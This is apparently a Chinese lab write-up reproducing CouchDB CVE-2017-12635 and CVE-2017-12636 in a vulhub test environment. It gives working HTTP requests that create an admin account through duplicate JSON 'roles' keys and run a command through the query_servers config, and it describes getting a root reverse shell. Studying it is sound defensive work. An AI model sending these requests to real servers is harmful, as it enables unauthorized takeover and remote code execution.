Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell – 作者:龙渊实验室LongYuanLab

CouchDB是一个开源的面向文档的数据库管理系统,可以通过RESTful JavaScript Object Notation(JSON)API访问。Apache CouchDB是专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。

漏洞影响版本:小于 1.7.0 以及 小于 2.1.1

一、漏洞原理       

CVE-2017-12635:Erlang和JavaScript,对JSON解析方式的不同,导致语句执行产生差异性。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

举例:Erlang:> jiffy:decode(“{“a”:”1″, “a”:”2″}”).{[{<<“a”>>,<<“1”>>},{<<“a”>>,<<“2”>>}]}

JavaScript> JSON.parse(“{“a”:”1″, “a”: “2”}”){a: “2”}

Ps:在定义一对键值对时,Eralang解析器将存储两个值;javascript只存储第二个值。但jiffy实现时,getter函数只返回第一个值。

CVE-2017-12636:由于数据库自身设计原因,管理员身份可以通过HTTP(S)方式,配置数据库。在某些配置中,可设置可执行文件的路径,在数据库运行范围内执行。

CVE-2017-12635结合CVE-2017-12636可实现远程代码执行

二、准备环境        

攻击机(kali):192.168.29.130

被攻击机(Ubuntu):192.168.29.141(使用vulhub搭建镜像环境)

备用机:真实机(含python3环境)

测试环境地址:https://vulhub.org/#/environments/couchdb/CVE-2017-12635/

三、环境搭建       

1.下载vulhub的漏洞环境,进入对应的目录下面,使用命令sudo docker-compose buildsudo docker-compose up -d搭建镜像环境图片[1]-Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell – 作者:龙渊实验室LongYuanLab-安全小百科图片[2]-Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell – 作者:龙渊实验室LongYuanLab-安全小百科2. 查看Ubuntu服务器(被攻击机)的IP地址(192.168.29.141)图片[3]-Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell – 作者:龙渊实验室LongYuanLab-安全小百科3. 访问搭建完成以后的couchdb(该环境为2.1.0版本)http://192.168.29.141:5984/_utils/#login图片[4]-Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell – 作者:龙渊实验室LongYuanLab-安全小百科

四、漏洞复现         

1.抓取数据包发送到重放模块,利用CVE-2017-12635漏洞创建一个管理员用户,用户名为xx,密码为:xx。Ps: 发送包含两个roles的数据包,即可绕过限制。Erlang和JavaScript,对JSON解析方式的不同,所以这样可以使当前用户赋予“_admin”身份

PUT /_users/org.couchdb.user:xx HTTP/1.1Host: 192.168.29.141:5984User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeUpgrade-Insecure-Requests: 1If-Modified-Since: Sat, 02 Dec 2017 15:49:03 GMTCache-Control: max-age=0Content-Length: 100{"type": "user","name": "xx","roles": ["_admin"],"roles": [],"password": "xx"}

图片[5]-Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell – 作者:龙渊实验室LongYuanLab-安全小百科2.使用刚刚注册的账户:xx,密码:xx;登陆到后端系统图片[6]-Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell – 作者:龙渊实验室LongYuanLab-安全小百科3.利用CVE-2017-12636漏洞必须登录到管理员用户才能进行操作,所以说需要结合CVE-2017-12635漏洞进行利用。其中测试环境带有poc:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py,下载poc修改目标IP以及couchdb版本信息即可实现攻击操作     4.kali攻击机开启监听443端口图片[7]-Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell – 作者:龙渊实验室LongYuanLab-安全小百科5.利用第3步下载的poc文件(备用机的python3环境,也可以使用kali的python3环境)图片[8]-Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell – 作者:龙渊实验室LongYuanLab-安全小百科6.会在kali攻击机上面建立会话连接,并且是root权限图片[9]-Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell – 作者:龙渊实验室LongYuanLab-安全小百科7. Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。这个其实也简单,我们带上账号密码访问/_membership即可:(也可在登陆状态下访问该链接)

GET /_membership HTTP/1.1Host: 192.168.29.141:5984User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: AuthSession=eHg6NUVGMEI4RDE6g1lmNPR5o8RIBREQUmfFXqZClJ4Upgrade-Insecure-Requests: 1If-Modified-Since: Sat, 02 Dec 2017 15:49:03 GMTCache-Control: max-age=0

图片[10]-Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell – 作者:龙渊实验室LongYuanLab-安全小百科8.可见,我们这里只有一个node,名字是nonode@nohost。然后,我们修改nonode@nohost的配置即可实现对服务器端写入文件:

PUT /_node/nonode@nohost/_config/query_servers/cmd HTTP/1.1Host: 192.168.29.141:5984User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: AuthSession=eHg6NUVGMTlDRjk6DPmoeDMHF5ZuRX_Py20A1EL4JvcUpgrade-Insecure-Requests: 1If-Modified-Since: Sat, 02 Dec 2017 15:49:03 GMTCache-Control: max-age=0Content-Length: 16"whoami >/1.txt"

图片[11]-Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell – 作者:龙渊实验室LongYuanLab-安全小百科9.根据第6步的时候建立的监听的信息,此时可查看创建的文件信息图片[12]-Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell – 作者:龙渊实验室LongYuanLab-安全小百科原文链接

来源:freebuf.com 2020-08-18 14:58:32 by: 龙渊实验室LongYuanLab

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论